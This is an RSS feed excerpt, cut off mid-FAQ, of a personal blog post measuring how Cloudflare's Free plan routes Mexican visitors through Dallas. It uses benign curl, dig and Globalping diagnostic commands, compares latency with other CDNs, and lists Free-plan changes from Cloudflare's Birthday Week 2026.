&lt;li&gt;CISA: &lt;a href=&quot;https://www.cisa.gov/news-events/alerts/2026/10/21/critical-vulnerabilities-php-require-immediate-patching&quot;&gt;Critical Vulnerabilities in PHP Require Immediate Patching&lt;/a&gt; (October 21, 2026).&lt;/li&gt;
&lt;li&gt;watchTowr: &lt;a href=&quot;https://watchtowr.com/intelligence/php-remote-code-execution-php2shell/&quot;&gt;PHP2Shell: PHP Remote Code Execution&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;php.net: &lt;a href=&quot;https://www.php.net/supported-versions.php&quot;&gt;supported versions&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><category>Security</category><category>PHP</category><category>Security</category><category>Docker</category><category>WordPress</category><category>Legacy systems</category><author>Marco Orta</author></item><item><title>Cloudflare&apos;s Free plan serves Mexico from Dallas: I measured it from 20 probes</title><link>https://ortamarco.me/en/blog/cloudflare-free-plan-mexico-dallas-latency/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/cloudflare-free-plan-mexico-dallas-latency/</guid><description>I tested a Free-plan domain from 20 probes in Mexico: all 19 that answered hit Dallas. The commands to check your own site, why it happens and what it costs.</description><pubDate>Sun, 04 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;On October 4, 2026 I tested a domain on Cloudflare’s Free plan from 20 probes in Mexico. All 19 that answered were served from Dallas (&lt;code&gt;DFW&lt;/code&gt;), with a median TCP connect time of 32 ms. The same zone, pinned to a different Cloudflare IP, was served from Querétaro 13 times, with a median of 7 ms.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This isn’t a misconfiguration or a fluke. Cloudflare says in writing that when a data center runs short on capacity, Free customers are the first to be moved elsewhere. What rarely gets said is that in Mexico you can see it, and you can check it yourself in two minutes. If you have users in Mexico, or you build for clients who do, here’s how to measure it, why it happens, what it costs in milliseconds and when it’s worth caring about.&lt;/p&gt;
&lt;h2 id=&quot;what-i-measured&quot;&gt;What I measured&lt;/h2&gt;
&lt;p&gt;I used &lt;a href=&quot;https://globalping.io&quot;&gt;Globalping&lt;/a&gt;, jsDelivr’s public probe network, on Sunday, October 4, 2026 at 23:55 UTC (17:55 in Mexico City). I asked for 20 probes in Mexico and sent each one a &lt;code&gt;HEAD /cdn-cgi/trace&lt;/code&gt; against a test domain on the Free plan. The probes landed in Querétaro (10), Mexico City (5), Morelia (2), and one each in Puebla, Guadalajara and Ciudad Juárez.&lt;/p&gt;
&lt;p&gt;Then I ran exactly the same test again, but forced the probes to connect to a different Cloudflare IP, &lt;code&gt;104.18.12.15&lt;/code&gt;, from a range that is announced from Mexico. Same zone, same certificate, same content. The only thing that changes is which address the client connects to.&lt;/p&gt;























&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Test (Oct 4, 2026, 20 probes in Mexico)&lt;/th&gt;&lt;th&gt;Colo that answered&lt;/th&gt;&lt;th&gt;Median TCP connect&lt;/th&gt;&lt;th&gt;Range&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Free zone, normal DNS&lt;/td&gt;&lt;td&gt;&lt;strong&gt;DFW (Dallas), 19 of 19&lt;/strong&gt; (1 probe failed)&lt;/td&gt;&lt;td&gt;&lt;strong&gt;32 ms&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;24–39 ms&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Same zone, pinned to &lt;code&gt;104.18.12.15&lt;/code&gt;&lt;/td&gt;&lt;td&gt;QRO (Querétaro) 13, DFW 7&lt;/td&gt;&lt;td&gt;&lt;strong&gt;7 ms&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;1–36 ms&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;It wasn’t a one-off. On September 22 I ran the same test against a Free domain from 19 probes and got the same answer: 19 of 19 through Dallas. That time, pinning the zone to an IP in that range got an answer from &lt;code&gt;MEX&lt;/code&gt;, Mexico City. Two weeks apart, same result.&lt;/p&gt;
&lt;p&gt;A caveat on the numbers: almost all of Globalping’s probes in Mexico sit in data centers (many in Querétaro, which hosts several cloud regions), and the only residential network with probes I found was Telmex. A data center in Querétaro is better connected than your customer’s home line, so treat these figures as the best case, not the typical one.&lt;/p&gt;
&lt;h2 id=&quot;how-to-see-which-city-cloudflare-serves-you-from&quot;&gt;How to see which city Cloudflare serves you from&lt;/h2&gt;
&lt;p&gt;Cloudflare tells you on every response; you just need to know where to look.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The quick way&lt;/strong&gt;, from your terminal. Any domain behind Cloudflare answers on &lt;code&gt;/cdn-cgi/trace&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; https://your-domain.com/cdn-cgi/trace &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; colo
&lt;span class=&quot;token comment&quot;&gt;# colo=DFW&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;colo&lt;/code&gt; is the airport code (IATA) of the data center that answered: &lt;code&gt;DFW&lt;/code&gt; is Dallas, &lt;code&gt;QRO&lt;/code&gt; Querétaro, &lt;code&gt;MEX&lt;/code&gt; Mexico City. The same code is the suffix of the &lt;code&gt;cf-ray&lt;/code&gt; header on any response:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-sI&lt;/span&gt; https://your-domain.com/ &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-i&lt;/span&gt; cf-ray
&lt;span class=&quot;token comment&quot;&gt;# cf-ray: 9a1b2c3d4e5f6789-DFW&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That tells you where &lt;strong&gt;you&lt;/strong&gt; are being served from, on your connection. To know what your visitors elsewhere get, you have to measure from there.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The thorough way&lt;/strong&gt;, with Globalping. The API is public and needs no sign-up (without a key you get 250 tests an hour, and each probe counts as one). This asks for 20 probes in Mexico:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-X&lt;/span&gt; POST https://api.globalping.io/v1/measurements &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;Content-Type: application/json&amp;#39;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;{
    &amp;quot;type&amp;quot;: &amp;quot;http&amp;quot;,
    &amp;quot;target&amp;quot;: &amp;quot;your-domain.com&amp;quot;,
    &amp;quot;locations&amp;quot;: [{ &amp;quot;country&amp;quot;: &amp;quot;MX&amp;quot;, &amp;quot;limit&amp;quot;: 20 }],
    &amp;quot;measurementOptions&amp;quot;: {
      &amp;quot;protocol&amp;quot;: &amp;quot;HTTPS&amp;quot;,
      &amp;quot;request&amp;quot;: { &amp;quot;method&amp;quot;: &amp;quot;HEAD&amp;quot;, &amp;quot;path&amp;quot;: &amp;quot;/cdn-cgi/trace&amp;quot; }
    }
  }&amp;#39;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# {&amp;quot;id&amp;quot;:&amp;quot;&amp;lt;id&amp;gt;&amp;quot;,&amp;quot;probesCount&amp;quot;:20}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You get an &lt;code&gt;id&lt;/code&gt; back. Give it a few seconds and fetch the result; &lt;code&gt;jq&lt;/code&gt; pulls out each probe’s city, the colo that served it and the TCP connect time:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; https://api.globalping.io/v1/measurements/&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;id&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; jq &lt;span class=&quot;token parameter variable&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;.results[] | [.probe.city, (.result.headers[&amp;quot;cf-ray&amp;quot;] // &amp;quot;failed&amp;quot;), .result.timings.tcp] | @tsv&amp;#39;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Queretaro      9a1b2c3d4e5f6789-DFW   31&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Mexico City    9a1b2c3d4e5f6790-DFW   33&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If &lt;code&gt;status&lt;/code&gt; still says &lt;code&gt;in-progress&lt;/code&gt;, ask again. Swap &lt;code&gt;&amp;quot;country&amp;quot;: &amp;quot;MX&amp;quot;&lt;/code&gt; for whatever market you care about; it also takes cities (&lt;code&gt;{&amp;quot;city&amp;quot;: &amp;quot;Monterrey&amp;quot;}&lt;/code&gt;) or networks (&lt;code&gt;{&amp;quot;asn&amp;quot;: 8151}&lt;/code&gt; is Telmex).&lt;/p&gt;
&lt;p&gt;How to read &lt;code&gt;tcp&lt;/code&gt;: it’s roughly one round trip. From Mexico, &lt;strong&gt;under 10 ms means a local node; around 30 ms means Dallas&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id=&quot;the-test-that-explains-it-pin-a-different-ip&quot;&gt;The test that explains it: pin a different IP&lt;/h2&gt;
&lt;p&gt;This is the interesting part. Cloudflare doesn’t pick the data center by distance to the visitor. To a large extent it’s decided by &lt;strong&gt;the IP your domain resolves to&lt;/strong&gt;. Cloudflare uses anycast: the same address is announced from many data centers, and the internet routes each visitor to the nearest one &lt;em&gt;that announces that address&lt;/em&gt;. If the range your zone was given isn’t announced from Mexico, a Mexican visitor ends up at the nearest place that does announce it, which in my tests was Dallas.&lt;/p&gt;
&lt;p&gt;You can check this without touching your DNS. First, see what your domain resolves to:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;dig&lt;/span&gt; +short your-domain.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then compare the colo on normal DNS against the same domain pinned to an IP in the &lt;code&gt;104.18.x&lt;/code&gt; range:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; https://your-domain.com/cdn-cgi/trace &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; colo
&lt;span class=&quot;token comment&quot;&gt;# colo=DFW&lt;/span&gt;

&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--resolve&lt;/span&gt; your-domain.com:443:104.18.12.15 &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  https://your-domain.com/cdn-cgi/trace &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; colo
&lt;span class=&quot;token comment&quot;&gt;# colo=QRO&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;--resolve&lt;/code&gt; tells curl “for this hostname, connect to this IP” and changes nothing else: the certificate and content are still your zone’s, because Cloudflare routes by hostname, not by IP. In Globalping you do the same by making the IP the &lt;code&gt;target&lt;/code&gt; and putting your domain in &lt;code&gt;request.host&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-X&lt;/span&gt; POST https://api.globalping.io/v1/measurements &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;Content-Type: application/json&amp;#39;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;{
    &amp;quot;type&amp;quot;: &amp;quot;http&amp;quot;,
    &amp;quot;target&amp;quot;: &amp;quot;104.18.12.15&amp;quot;,
    &amp;quot;locations&amp;quot;: [{ &amp;quot;country&amp;quot;: &amp;quot;MX&amp;quot;, &amp;quot;limit&amp;quot;: 20 }],
    &amp;quot;measurementOptions&amp;quot;: {
      &amp;quot;protocol&amp;quot;: &amp;quot;HTTPS&amp;quot;,
      &amp;quot;request&amp;quot;: { &amp;quot;method&amp;quot;: &amp;quot;HEAD&amp;quot;, &amp;quot;host&amp;quot;: &amp;quot;your-domain.com&amp;quot;, &amp;quot;path&amp;quot;: &amp;quot;/cdn-cgi/trace&amp;quot; }
    }
  }&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a diagnostic, &lt;strong&gt;not a fix&lt;/strong&gt;. On the Free plan you don’t choose which IPs your zone gets, and hand-pointing your DNS at a Cloudflare IP you weren’t assigned relies on behavior Cloudflare neither documents nor guarantees. It could stop working tomorrow with no notice.&lt;/p&gt;
&lt;aside class=&quot;not-prose my-8 flex flex-wrap items-center gap-4 rounded-2xl border border-neutral-100 bg-white p-5 transition-all duration-200 hover:shadow-[5px_5px_rgba(0,98,90,0.3),10px_10px_rgba(0,98,90,0.2),15px_15px_rgba(0,98,90,0.1)] dark:border-zinc-800 dark:bg-zinc-900/40&quot; style=&quot;border-left:4px solid #d72cef&quot;&gt; &lt;span class=&quot;grid size-12 shrink-0 place-items-center rounded-xl&quot; style=&quot;background:#d72cef1a;color:#d72cef&quot;&gt;  &lt;/span&gt; &lt;div class=&quot;flex min-w-48 flex-1 flex-col gap-0.5&quot;&gt; &lt;span class=&quot;text-xs font-semibold tracking-wide text-zinc-500 uppercase dark:text-zinc-400&quot;&gt; Free tool &lt;/span&gt; &lt;span class=&quot;text-lg leading-snug font-bold text-blacktext dark:text-mint-50&quot;&gt; DNS Lookup &lt;/span&gt; &lt;span class=&quot;text-sm text-pretty text-zinc-600 dark:text-zinc-400&quot;&gt; Find A, AAAA, CNAME, MX, NS, TXT and SOA DNS records for a host. &lt;/span&gt; &lt;/div&gt; &lt;a href=&quot;https://ortamarco.me/en/tools/dns-lookup/&quot; data-umami-event=&quot;tool_callout_click&quot; data-umami-event-tool=&quot;consulta-dns&quot; class=&quot;shrink-0 rounded-xl max-sm:w-full max-sm:text-center sm:ml-auto bg-mint-600 px-4 py-2 text-sm! font-semibold text-white! no-underline! transition-colors hover:bg-mint-700 hover:text-white!&quot;&gt; Open tool → &lt;/a&gt; &lt;/aside&gt;
&lt;h2 id=&quot;why-it-happens-free-is-first-to-be-moved&quot;&gt;Why it happens: Free is first to be moved&lt;/h2&gt;
&lt;p&gt;Cloudflare doesn’t hide it. In the post introducing &lt;a href=&quot;https://blog.cloudflare.com/meet-traffic-manager/&quot;&gt;Traffic Manager&lt;/a&gt;, the system that shifts traffic when a data center runs short, it says:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“We move Free customers first, and if there are no more Free customers in a data center, we’ll move Pro, and then Business customers if needed.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And in November 2024 someone in central Mexico asked on Hacker News why their Workers were running in Dallas. &lt;a href=&quot;https://news.ycombinator.com/item?id=42087289&quot;&gt;Kenton Varda&lt;/a&gt;, a Cloudflare engineer and the tech lead of Workers, replied:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“Some of our colos don’t have enough capacity to serve all traffic in their local region, so we selectively serve a subset of sites from that colo and reroute others to a bigger colo further away. […] generally sites on the free plan or lower plan levels are more likely to be rerouted.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the same reply he made clear that the routing has nothing to do with whether you use Workers.&lt;/p&gt;
&lt;p&gt;Put both quotes next to the measurement and it adds up: Cloudflare does have data centers in Mexico (I saw &lt;code&gt;QRO&lt;/code&gt; in the &lt;code&gt;cf-ray&lt;/code&gt; and &lt;code&gt;MEX&lt;/code&gt; in September’s test), but they don’t have room for everyone, and the Free plan is the first to be sent to Texas.&lt;/p&gt;
&lt;p&gt;What I &lt;strong&gt;don’t&lt;/strong&gt; know, because I didn’t measure it: whether upgrading the zone to Pro brings it back to Mexico. Plan-based priority is documented by Cloudflare, but that doesn’t guarantee your particular zone changes colo. The only way to find out is to pay for a month and rerun the &lt;code&gt;curl&lt;/code&gt; above.&lt;/p&gt;
&lt;h2 id=&quot;what-it-costs-in-milliseconds-and-when-it-matters&quot;&gt;What it costs in milliseconds, and when it matters&lt;/h2&gt;
&lt;p&gt;The measured gap is about &lt;strong&gt;25 ms per round trip&lt;/strong&gt; (32 ms vs. 7 ms median). A cold page load, with no connection open yet, pays several round trips before the first byte: the TCP handshake, the TLS handshake and the request itself. At three or four round trips, that’s on the order of &lt;strong&gt;100 ms extra&lt;/strong&gt; on the first load. Later requests reuse the connection and pay one round trip each.&lt;/p&gt;
&lt;p&gt;Is that a lot? It depends on what else is going on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;If your HTML isn’t cached and goes back to your server on every visit, that hop outweighs Dallas.&lt;/strong&gt; In September’s measurement, a page that went to the origin waited 75 ms for the first byte; a file already cached in the same Dallas colo, 43 ms. Cloudflare &lt;a href=&quot;https://developers.cloudflare.com/cache/concepts/default-cache-behavior/&quot;&gt;doesn’t cache HTML by default&lt;/a&gt;, on free or paid plans; I go through the fix in &lt;a href=&quot;https://ortamarco.me/en/blog/online-store-crash-buen-fin-mexico/&quot;&gt;my guide to keeping an online store up during Mexico’s Buen Fin&lt;/a&gt;. Do that first: it’s free and it wins more.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If your server is far from your users&lt;/strong&gt;, the colo-to-origin leg adds up, and Dallas may even sit on the way.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If your site is static or mostly served from cache&lt;/strong&gt;, 100 ms on the first load rarely pushes your Core Web Vitals from “good” to “poor”. It’s a second-order improvement.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Where it does matter&lt;/strong&gt;: apps that make many sequential requests (a dashboard that calls the API ten times to draw one screen, a multi-step checkout) or APIs consumed from Mexico with lots of short calls. That’s where 25 ms gets multiplied.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For comparison, here’s what the September 22 run showed from the same probes:&lt;/p&gt;






























&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Provider (Sep 22, 2026, probes in Mexico)&lt;/th&gt;&lt;th&gt;Where it answered from&lt;/th&gt;&lt;th&gt;What I measured&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Cloudflare, Free zone&lt;/td&gt;&lt;td&gt;Dallas&lt;/td&gt;&lt;td&gt;~30 ms per round trip&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Bunny CDN&lt;/td&gt;&lt;td&gt;Mexico City&lt;/td&gt;&lt;td&gt;~4 ms wait for first byte&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;AWS CloudFront&lt;/td&gt;&lt;td&gt;Querétaro on 15 of 19 probes&lt;/td&gt;&lt;td&gt;local connection&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vercel and Netlify&lt;/td&gt;&lt;td&gt;TCP terminates nearby, but &lt;strong&gt;TLS and cache in the US&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;~110 ms for the TLS handshake alone&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Watch out with Vercel and Netlify: &lt;code&gt;tcp&lt;/code&gt; looks low because the connection is accepted nearby, but encryption and caching happen in a US region. When you measure them, look at &lt;code&gt;tls&lt;/code&gt;, not &lt;code&gt;tcp&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;did-birthday-week-2026-change-this-no&quot;&gt;Did Birthday Week 2026 change this? No&lt;/h2&gt;
&lt;p&gt;Cloudflare wrapped up its anniversary week on October 2 with a &lt;a href=&quot;https://blog.cloudflare.com/network-performance-birthday-week-2026/&quot;&gt;network performance post&lt;/a&gt; saying it’s the fastest provider in &lt;strong&gt;74% of the world’s 1,000 largest networks&lt;/strong&gt;, up from 60% in April. Read quickly, that seems to contradict everything above. It doesn’t, because it measures something else:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It measures &lt;strong&gt;TCP connect time&lt;/strong&gt; (as a trimean) from the user’s browser to endpoints of several providers, run from Cloudflare’s error pages and Challenge Pages.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It doesn’t break results down by plan.&lt;/strong&gt; It measures Cloudflare’s endpoints, not your Free zone.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It doesn’t mention Mexico.&lt;/strong&gt; And none of that week’s posts I read touch plan-based routing or capacity in the region.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both can be true at once: Cloudflare can be the fastest to its own endpoints from a Mexican network while your Free-plan domain is still served from Dallas. Today’s measurement came after all of those announcements and matched September’s.&lt;/p&gt;
&lt;h2 id=&quot;what-birthday-week-did-bring-to-the-free-plan&quot;&gt;What Birthday Week did bring to the Free plan&lt;/h2&gt;
&lt;p&gt;Of that week’s announcements, these are the ones that apply to a free account:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Protected Quick Tunnels.&lt;/strong&gt; &lt;code&gt;cloudflared&lt;/code&gt; quick tunnels (version 2026.9.3 and later) now take a list of email addresses: only those people can open the link, using a one-time PIN sent by email. Neither you nor your client needs a Cloudflare account. Handy for showing a client work in progress without deploying it or leaving a tunnel open to anyone (&lt;a href=&quot;https://blog.cloudflare.com/protected-quick-tunnels/&quot;&gt;announcement&lt;/a&gt;):&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;cloudflared tunnel &lt;span class=&quot;token parameter variable&quot;&gt;--url&lt;/span&gt; http://localhost:8080 --allowed-mail alice@example.com
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Unified Observability, with new pricing from December 1, 2026.&lt;/strong&gt; On Free you get 0.5 GB of log ingestion a day and 7 days of retention. Domain analytics also go to 30 days, and Logpush opens up to self-serve plans (&lt;a href=&quot;https://blog.cloudflare.com/one-observability-platform/&quot;&gt;announcement&lt;/a&gt;). If you rely on Workers logs today, check how much you generate before that date.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AI Search went GA on October 1 and starts billing on November 1.&lt;/strong&gt; If you built on the preview assuming it was free, read the pricing page before then.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of this changes where your site is served from, but they’re dated changes that reach you even if you don’t pay.&lt;/p&gt;
&lt;h2 id=&quot;what-id-do&quot;&gt;What I’d do&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Measure before deciding.&lt;/strong&gt; Run the Globalping command against your domain, with probes in the cities where your users are. If you get &lt;code&gt;DFW&lt;/code&gt; at ~30 ms, now you know what you’re paying; if you get &lt;code&gt;QRO&lt;/code&gt; or &lt;code&gt;MEX&lt;/code&gt;, this post isn’t about you (yet: routing is dynamic and can change without notice).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remove the origin hop first.&lt;/strong&gt; Cache whatever HTML you can at the edge. That gain is bigger than Dallas-to-Querétaro and costs nothing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decide on numbers.&lt;/strong&gt; If after that you’re in one of the cases where it matters (lots of sequential requests, users mostly in Mexico), there are CDNs that answered from inside Mexico in my tests. Test them the same way and compare milliseconds, not marketing claims. And if you want to try a paid Cloudflare plan, measure before and after: it’s the only way to know whether your zone gets a different colo.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Re-measure now and then.&lt;/strong&gt; What I measured today may not hold in three months. The command takes a minute.&lt;/li&gt;
&lt;/ol&gt;
&lt;aside class=&quot;not-prose my-8 flex flex-wrap items-center gap-4 rounded-2xl border border-neutral-100 bg-white p-5 transition-all duration-200 hover:shadow-[5px_5px_rgba(0,98,90,0.3),10px_10px_rgba(0,98,90,0.2),15px_15px_rgba(0,98,90,0.1)] dark:border-zinc-800 dark:bg-zinc-900/40&quot; style=&quot;border-left:4px solid #d72cef&quot;&gt; &lt;span class=&quot;grid size-12 shrink-0 place-items-center rounded-xl&quot; style=&quot;background:#d72cef1a;color:#d72cef&quot;&gt;  &lt;/span&gt; &lt;div class=&quot;flex min-w-48 flex-1 flex-col gap-0.5&quot;&gt; &lt;span class=&quot;text-xs font-semibold tracking-wide text-zinc-500 uppercase dark:text-zinc-400&quot;&gt; Free tool &lt;/span&gt; &lt;span class=&quot;text-lg leading-snug font-bold text-blacktext dark:text-mint-50&quot;&gt; Reverse IP Lookup &lt;/span&gt; &lt;span class=&quot;text-sm text-pretty text-zinc-600 dark:text-zinc-400&quot;&gt; Free reverse IP lookup: enter an IPv4 or IPv6 address and get its reverse DNS hostname (PTR record). Learn why it will not list every domain on an IP, and how to read the result. &lt;/span&gt; &lt;/div&gt; &lt;a href=&quot;https://ortamarco.me/en/tools/reverse-ip-lookup/&quot; data-umami-event=&quot;tool_callout_click&quot; data-umami-event-tool=&quot;buscador-inverso-ip&quot; class=&quot;shrink-0 rounded-xl max-sm:w-full max-sm:text-center sm:ml-auto bg-mint-600 px-4 py-2 text-sm! font-semibold text-white! no-underline! transition-colors hover:bg-mint-700 hover:text-white!&quot;&gt; Open tool → &lt;/a&gt; &lt;/aside&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does Cloudflare have servers in Mexico? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Yes. In my measurements I saw Cloudflare data centers in Querétaro (QRO, in the cf-ray header, on October 4, 2026) and Mexico City (MEX, on September 22, 2026) answer requests. Having them doesn&amp;#39;t mean they serve your site: when they run short on capacity, Cloudflare sends part of the traffic to bigger data centers further away, and Free-plan sites are moved first. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Is Cloudflare&amp;#39;s Free plan slower in Mexico? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; In my October 4, 2026 test, a Free-plan test domain was served from Dallas to all 19 Mexican probes that answered, with a median TCP connect time of 32 ms; the same zone pinned to an IP announced from Mexico answered in 7 ms. That is about 25 ms per round trip and on the order of 100 ms on a cold load. Cloudflare documents that Free customers are moved first when a data center runs out of 